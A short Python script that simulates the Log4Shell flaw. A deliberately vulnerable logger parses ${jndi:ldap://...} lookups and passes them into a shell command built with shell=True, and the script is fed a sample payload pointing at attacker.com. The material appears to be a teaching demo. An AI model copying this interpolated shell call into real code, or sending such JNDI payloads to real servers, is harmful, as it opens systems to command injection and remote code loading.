# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

python log4j_sim.py